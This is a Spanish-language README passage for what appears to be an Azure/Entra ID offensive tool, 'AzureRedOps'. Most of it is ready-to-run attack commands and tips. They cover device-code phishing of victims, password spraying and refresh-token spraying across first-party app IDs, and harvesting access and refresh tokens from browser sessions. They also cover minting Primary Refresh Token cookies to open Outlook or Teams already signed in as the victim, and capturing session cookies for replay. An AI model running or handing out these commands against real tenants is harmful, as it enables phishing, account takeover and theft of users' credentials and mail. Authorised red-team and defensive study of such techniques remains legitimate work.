Ejecuta la herramienta:```bash
python3 AzureRedOps.py -a <activity> [options]

### Proporcionando un token

Las actividades que llaman a Microsoft Graph necesitan un token de acceso. Puedes proporcionarlo de dos maneras:

| Método | Bandera | Ejemplo |
|--------|---------|---------|
| Pasar un token sin procesar | `-ac, --access-token` | `-ac eyJ0eXAi...` |
| Cargar un token almacenado en caché por nombre | `-l, --load-access-token` | `-l mytoken` |

Cuando se usa `-l`, el `access_token` coincidente (y, cuando sea relevante, `refresh_token` y `tenant`) se lee del almacén `.azure_creds`.

### Guardando tokens en un archivo (`-s` / `-n`)

Cualquier actividad que obtenga tokens (`auth`, `auth-app`, `auth-interactive`, `phish-start`/`phish-capture`, `refresh`) puede **persistirlos automáticamente** en el almacén de credenciales local (`.azure_creds`) añadiendo `-s/--save` junto con `-n/--name`:```bash
# Authenticate and save the resulting tokens under the name "victim1"
python3 AzureRedOps.py -a auth -u [email protected] -p 'P@ssw0rd!' -tid <tenant-guid> -s -n victim1

Para `gather-all`, el nombre de archivo proporcionado se utiliza como sufijo y se escribe un archivo por endpoint de Graph (por ejemplo, `users-<name>`, `groups-<name>`, ...).

> Consejo: `-j` controla la exportación JSON estructurada, mientras que `-re/--redirect-to-file` refleja la salida formateada de la consola en `output.txt`. Ambos son independientes.

### Identificadores de inquilino

- `-t, --tenant` espera un **nombre de dominio** (por ejemplo, `contoso.com`) y es utilizado por la actividad `id`.
- `-tid, --tenant-id` espera un **GUID de inquilino** o `common`, utilizado por las actividades de autenticación.

---

## Opciones de Línea de Comandos

| Short | Long | Default | Description |
|-------|------|---------|-------------|
| `-a` | `--activity` | `id` | **(requerida)** Actividad a realizar (ver [Actividades](#actividades)). |
| `-ac` | `--access-token` | | Token de acceso de Azure. |
| `-n` | `--name` | | Nombre utilizado para guardar/cargar un token, o nombre para mostrar para `register-app`/`new-group`/`invite`. |
| `-t` | `--tenant` | | Nombre de **dominio** del inquilino de Azure (utilizado por `id`). |
| `-c` | `--devicecode` | | Código de dispositivo (utilizado por `phish-capture`). |
| `-tid` | `--tenant-id` | | **ID** de inquilino de Azure (GUID) o `common`. |
| `-app` | `--appid` | `d3590ed6-52b3-4102-aeff-aad2292ab01c` | ID de aplicación (cliente). |
| `-e` | `--endpoint` | `microsoftonline.com` | Dominio del endpoint de inicio de sesión al que apuntar. |
| `-r` | `--refresh-token` | | Token de actualización de autenticación. |
| `-as` | `--auto-start` | `True` | Iniciar automáticamente la captura de código de dispositivo después de `phish-start`. |
| `-l` | `--load-access-token` | | Cargar un token en caché por nombre desde `.azure_creds`. |
| `-j` | `--json` | | Guardar la salida de la actividad en el archivo JSON dado. |
| `-fl` | `--filter` | | Imprimir solo atributos cuya clave coincida con una de estas (separadas por comas). |
| `-u` | `--username` | | Nombre principal de usuario (correo electrónico). |
| `-p` | `--password` | | Contraseña de usuario. |
| `-s` | `--save` | `False` | Guardar automáticamente los tokens obtenidos en `.azure_creds` (**requiere `-n`**). |
| `-cp` | `--check-privileges` | `False` | Después de un inicio de sesión de pulverización exitoso, sondear si los usuarios/aplicaciones pueden ser enumerados. |
| `-uid` | `--uid` | | ID de objeto de usuario de Azure (utilizado por `add-group`). |
| `-headers` | `--headers` | | Encabezados HTTP adicionales como JSON, ej. `{"X-Foo": "bar"}`. |
| `-gid` | `--gid` | `62e90394-69f5-4237-91f9-056ad24d70a7` | Rol de directorio / ID de grupo (predeterminado = **Administrador Global**). |
| `-i` | `--id` | `False` | Para `interest`: imprimir solo los IDs de aplicación. |
| `-ty` | `--type` | | Para `interest`: filtrar a una categoría específica. |
| `-fp` | `--filepath` | | Archivo para subir (`push-file`) o lista de aplicaciones personalizada para pulverización. |
| `-v` | `--version` | `v2.0` | Versión de la API de autenticación: `v0` o `v2.0`. |
| `-ua` | `--user-agent` | *(Cadena UA de Chrome)* | Anular el `User-Agent` HTTP. |
| `-au` | `--audience` | `https://graph.microsoft.com` | Audiencia/recurso del token. |
| `-sc` | `--scope` | `openid offline_access` | Ámbito OAuth2. Usar `https://graph.microsoft.com/.default` para Graph, `openid` para pulverización. |
| `-url` | `--url` | | URL de destino para `raw-url`/`invite`; lista separada por comas de URLs para `auth-interactive`. |
| `-beta` | `--beta` | `False` | Usar el endpoint **beta** de Microsoft Graph para `list-users`/`list-applications`. |
| `-exp` | `--expand` | `False` | Expandir listas/diccionarios anidados en la salida a un formato legible por humanos. |
| `-k` | `--keep` | `False` | Conservar el archivo `session.har` después de `auth-interactive` / `browser-sso`. |
| `-cs` | `--client-secret` | | Secreto de cliente confidencial utilizado por la concesión `obo` (On-Behalf-Of). |
| `-prt` | `--prt-cookie` | | Valor de cookie PRT (`x-ms-RefreshTokenCredential`) para inicializar el SSO del navegador para `browser-sso`. |
| `-br` | `--browser` | `firefox` | Motor de navegador Playwright para los flujos de navegador (`auth-interactive`, `browser-sso`). Uno de `firefox`, `chromium`, `webkit`. |
| `-aprt` | `--auto-prt` | `False` | Para `browser-sso`: acuñar automáticamente una cookie PRT a partir del token de actualización (registro de dispositivo → PRT → `x-ms-RefreshTokenCredential`) para que el navegador se abra **ya autenticado**. Requiere `cryptography` y un token de actualización FOCI/intermediario. |
| `-d` | `--debug` | `False` | Habilitar registro de depuración. |
| `-dd` | `--verbose-debug` | `False` | Habilitar registro detallado de solicitudes/respuestas HTTP. |
| `-re` | `--redirect-to-file` | `False` | Reflejar toda la salida de la consola en `output.txt`. |

---

## Actividades

A continuación, cada actividad enumera sus argumentos **requeridos** y *opcionales*.
"Token" significa que se requiere `-ac` o `-l`.

### Gestión de Tokens

| Actividad | Requerido | Opcional | Descripción |
|----------|----------|----------|-------------|
| `save` | `-ac`, `-n` | `-tid`, `-r` | Guardar un token de acceso (y opcionalmente de actualización) en `.azure_creds`. |
| `list-token` | — | — | Listar los nombres de todos los tokens guardados. |
| `view` | `-n` | — | Decodificar y mostrar las reclamaciones JWT de un token guardado. |
| `delete` | `-n` | — | Eliminar un token guardado del almacén. |```bash
# Save a token under the name "mytoken"
python3 AzureRedOps.py -a save -n mytoken -ac eyJ0eXAi... -r 0.AReAB... -tid <tenant-guid>

# List, view, delete
python3 AzureRedOps.py -a list-token
python3 AzureRedOps.py -a view -n mytoken
python3 AzureRedOps.py -a delete -n mytoken

#### Cómo funcionan los flujos de autenticación

AzureRedOps implementa varias formas distintas de obtener tokens. Elige la que se ajuste a tu compromiso; todas respetan `-s/-n` para guardar automáticamente el resultado.

##### Phishing de código de dispositivo (`phish-start` / `phish-capture`)

La **concesión de autorización de dispositivo** de OAuth 2.0 está diseñada para dispositivos con entrada limitada, lo que la convierte en una poderosa primitiva de phishing: solicitas un código en nombre de una aplicación de Microsoft de primera parte, luego ingenias socialmente a un objetivo para que ingrese ese código en `https://microsoft.com/devicelogin` mientras está conectado a su cuenta. Una vez que lo hace, los tokens se emiten **a ti**.

- `phish-start` solicita un código de dispositivo e imprime el **código de usuario**, la URL de inicio de sesión y el **código de dispositivo** sin formato. Como `-as/--auto-start` por defecto es `True`, inmediatamente comienza a sondear el token — por lo que simplemente ejecutar `phish-start` y entregar el código de usuario al objetivo suele ser todo lo que necesitas.
- `phish-capture` es la contraparte manual: proporciónale un código de dispositivo que hayas obtenido anteriormente con `-c/--devicecode` y sondeará el punto final del token hasta que la víctima complete el inicio de sesión (la herramienta reintenta silenciosamente mientras la autorización está pendiente).
- Usa `-app/--appid` para hacerse pasar por un cliente de primera parte específico y `-tid/--tenant-id` para limitar a un inquilino (`common` por defecto). Consejo: establece el ámbito a `'https://graph.microsoft.com/.default offline_access openid'` para obtener un token listo para Graph con un token de actualización.```bash
# Start a device-code session (auto-captures the token once the victim logs in)
python3 AzureRedOps.py -a phish-start -tid common -s -n phished

# Or capture against a code you generated separately
python3 AzureRedOps.py -a phish-capture -c <device-code> -tid common -s -n phished

##### Autenticación interactiva del navegador (`auth-interactive`)

`auth-interactive` lanza un **navegador real mediante Playwright** (Firefox por defecto; elige
el motor con `-br/--browser`) y permite al
operador (o a un objetivo en una sesión compartida) completar un inicio de sesión interactivo — incluyendo
MFA, Acceso Condicional y redireccionamientos federados/SSO que los flujos scriptados no pueden
satisfacer. Toda la sesión del navegador se graba en un archivo HAR (`session.har`); la herramienta
luego analiza esa captura, extrae **cada** par de token de acceso/refresco visto en el
endpoint `/oauth2/v2.0/token`, decodifica cada JWT y te permite elegir cuál(es) guardar.

- `-url/--url` establece la(s) página(s) a las que navegar después de que se cargue la página de inicio de sesión. Acepta una
  **lista separada por comas** de URLs (p. ej. `https://portal.azure.com,https://outlook.office.com`)
  para que puedas recopilar tokens para múltiples recursos en una sola sesión. Por defecto es
  `https://portal.azure.com`.
- Esta actividad **siempre se guarda automáticamente**: después de la recolección, solicita qué
  índice(s) de token conservar y un nombre bajo el cual almacenarlos.
- Añade `-k/--keep` para conservar `session.har` para análisis offline (se elimina de forma
  predeterminada).```bash
# Log in interactively and harvest tokens for two resources
python3 AzureRedOps.py -a auth-interactive -url https://portal.azure.com,https://outlook.office.com -k

##### Token-to-browser single sign-on (`browser-sso`)

`browser-sso` abre un **navegador real que ya está autenticado como el usuario** — no haces clic en nada y aterrizas directamente dentro, por ejemplo, **Outlook en la web**. Este es el flujo de "solo abre el navegador y obtén una sesión válida". El navegador obtiene su sesión de una de tres maneras, en orden de preferencia:

**1. `-aprt/--auto-prt` — acuñar automáticamente una cookie PRT (recomendado).**
El token de actualización se convierte en un **Primary Refresh Token (PRT)** y su cookie de navegador completamente por la herramienta, luego se siembra para que ESTS de Entra complete SSO sin inicio de sesión manual. La cadena (en `includes/PRT.py`, el protocolo ROADtoken / roadtx / AADInternals) es:

1. Canjear el token de actualización por un token de **registro de dispositivo (DRS)**.
2. **Registrar un dispositivo** con Azure AD → certificado de dispositivo + clave de transporte.
3. Solicitar un **PRT + clave de sesión** con el token de actualización, firmado por el certificado del dispositivo.
4. **Derivar la cookie `x-ms-RefreshTokenCredential`** (KDFv2: KDF SP800-108 sobre `SHA256(ctx‖decoded-payload-bytes)` → JWT firmado con HS256; KDFv1 → `AADSTS5000611`, bytes incorrectos → `AADSTS50058`)
   e insertarla en un contexto de navegador nuevo.

La cookie se siembra con `SameSite=None` y se consume a través de un **calentamiento `/authorize` de ESTS de nivel superior** (el cliente Office `landingv2`) para que la cookie de sesión `ESTSAUTH` se acuñe como propia — después de lo cual la aplicación de destino se abre ya iniciada sesión. La cookie se deriva con un nonce nuevo justo antes de navegar y se reintenta una vez; si SSO aún no puede completarse, la herramienta sondea `prompt=none` e imprime la razón exacta de `AADSTS` (por ejemplo, Acceso Condicional que requiere un dispositivo conforme/gestionado, o MFA — ninguno es evitable con un dispositivo recién registrado).

El PRT, la clave de sesión y la cookie se imprimen (con una sugerencia lista para pegar `-prt "<value>"`) para que puedas reutilizarlos más tarde sin volver a ejecutar la cadena.

> **Requisitos y opsec para `-aprt`:**
> - Necesita el paquete **`cryptography`** (`pip install cryptography`; está en
>   `requirements.txt`).
> - El token de actualización debe pertenecer a un **cliente FOCI / broker** — por ejemplo, uno capturado mediante
>   **phishing de código de dispositivo al Microsoft Authentication Broker**
>   (`29d9ed98-a469-4536-ade2-f981bc1d605e`), que es exactamente lo que produce el señuelo de código de dispositivo de SharePoint/OneDrive.
>   El `-app` predeterminado (cliente Microsoft Office FOCI) también funciona.
> - **El registro de dispositivo escribe un objeto de dispositivo en el inquilino** — no es silencioso y
>   deja un artefacto (y requiere que el usuario tenga permiso para unir/registrar dispositivos).

**2. `-prt/--prt-cookie` — sembrar una cookie PRT que ya tienes.**
Si ya posees un valor `x-ms-RefreshTokenCredential` (de una ejecución anterior de `-aprt`, o
de un host comprometido a través de `ROADtoken`/`browsercore` o `Mimikatz`), pásalo directamente y
salta la cadena de acuñación.

**3. Ninguno — convertir el token e iniciar sesión manualmente (respaldo).**
Sin cookie PRT, el token de actualización se canjea por un token de acceso/actualización con ámbito de recurso
(se imprime y guarda con `-s/-n`), y el navegador se abre en el destino para que
termines el inicio de sesión manualmente.

**Recolección de cookies PRT / sesión.** Cuando la sesión del navegador termina (tiempo de espera de cierre automático o
cierras la ventana), `browser-sso` lee el contexto del navegador en vivo e **imprime cada
cookie SSO reutilizable que se emitió** — la cookie PRT (`x-ms-RefreshTokenCredential`) y
las cookies de sesión de ESTS (`ESTSAUTH`, `ESTSAUTHPERSISTENT`, ...) — cada una con una sugerencia
lista para pegar `-prt` para que puedas reproducirlas la próxima vez. Las cookies se consultan mientras la sesión está activa,
por lo que el valor se captura incluso si cierras la ventana temprano. La misma recolección se ejecuta al
final de `auth-interactive`.

- `-url/--url` selecciona el destino. Usa un preset amigable — `outlook`, `office`, `teams`,
  `sharepoint`, `onedrive`, `portal`, `graph` — o pasa una o más URLs `https://` sin procesar
  (separadas por comas). Por defecto es `outlook`.
- `-r/--refresh-token` + `-tid` (o un `-l` en caché) proporciona el token de actualización.
  `-app/--appid` por defecto es el cliente Microsoft Office FOCI.
- `-br/--browser` elige el motor de Playwright (Firefox por defecto).
- `-k/--keep` conserva la grabación `session.har` de la sesión del navegador.```bash
# BEST: auto-mint a PRT from a device-code-phished (broker) token and drop straight
# into an authenticated Outlook on the web — no manual login.
python3 AzureRedOps.py -a browser-sso -l phished -url outlook -aprt

# Seed a PRT cookie you already have
python3 AzureRedOps.py -a browser-sso -l mytoken -url outlook -prt <x-ms-RefreshTokenCredential>

# Target Teams from a raw refresh token, auto-mint the PRT, keep the session recording
python3 AzureRedOps.py -a browser-sso -r 0.AReAB... -tid <tenant-guid> -url teams -aprt -k

### Suplantación de contraseñas (Password Spraying)

| Actividad | Requerido | Opcional | Descripción |
|----------|----------|----------|-------------|
| `spray` | `-u`, `-p`, `-tid` | `-fp`, `-cp` | Spray credenciales contra IDs de aplicaciones de primera parte conocidas (APIs v0 + v2.0). |
| `spray-refresh` | `-v`, y (`-l`) **o** (`-r` + `-tid`) | `-fp`, `-cp` | Repetir un token de actualización en muchos IDs de aplicación. |

Por defecto, ambas actividades usan `includes/auth_apps.json` como fuente de aplicaciones; sobrescribe con `-fp`. Agrega `-cp` para probar si cada inicio de sesión exitoso puede enumerar usuarios/aplicaciones.```bash
# Spray a single credential across first-party apps
python3 AzureRedOps.py -a spray -u [email protected] -p 'P@ssw0rd!' -tid <tenant-guid> -cp

# Cross-app refresh spraying from a saved token
python3 AzureRedOps.py -a spray-refresh -l mytoken -v v2.0

---

## Salida y archivos generados

| Archivo | Creado por | Descripción |
|------|-----------|-------------|
| `.azure_creds` | Actividades de guardado de tokens | Caché JSON local de tokens de acceso/actualización, indexados por nombre. |
| `output.txt` | Indicador `-re` | Espejo con marca de tiempo de toda la salida de consola. |
| `session.har` | `auth-interactive` / `browser-sso` | Grabación de sesión del navegador (eliminada a menos que se establezca `-k`). |
| `<name>.json` | Indicador `-j` / `gather-all` | Respuestas de API guardadas. |

### Archivos de datos incluidos

| Archivo | Descripción |
|------|-------------|
| `includes/auth_apps.json` | IDs de aplicación de destino utilizados para spraying y las listas de `interest`. |
| `includes/apps.json` | IDs de aplicaciones conocidas de Microsoft y metadatos para `knownids`. |
| `includes/Webserver.py` | Listener HTTPS local que implementa la redirección PKCE para `auth-app`. |
| `includes/PRT.py` | Cadena de acuñación de PRT (registro de dispositivo → PRT → cookie `x-ms-RefreshTokenCredential`) usada por `browser-sso -aprt`. |
| `includes/web/cert.pem`, `includes/web/key.pem` | Material TLS para el listener local. |

---

## Notas y consejos

- **ID de aplicación predeterminado** (`d3590ed6-52b3-4102-aeff-aad2292ab01c`) es el cliente
  propio de Microsoft Office, que funciona para la mayoría de los flujos. Las pistas que imprimen algunas actividades
  sugieren extender los tokens a la aplicación de **Microsoft Azure CLI** (`04b07795-8ddb-461a-bbee-02f9e1bf7b46`)
  para un acceso más amplio.
- **Guía de alcances:** use `-sc openid` para spraying de contraseñas y
  `-sc 'https://graph.microsoft.com/.default'` para operaciones de Graph.
- **`--beta`** cambia `list-users` / `list-applications` al endpoint beta de Graph,
  lo que puede mostrar información adicional (por ejemplo, atributos de sincronización local).
- **TLS de `auth-app`:** el listener PKCE local requiere un par de certificado/clave en
  `includes/web/cert.pem` y `includes/web/key.pem`. Genere un par autofirmado si
  faltan, por ejemplo:  ```bash
  openssl req -x509 -newkey rsa:2048 -nodes \
    -keyout includes/web/key.pem -out includes/web/cert.pem -days 365 -subj "/CN=localhost"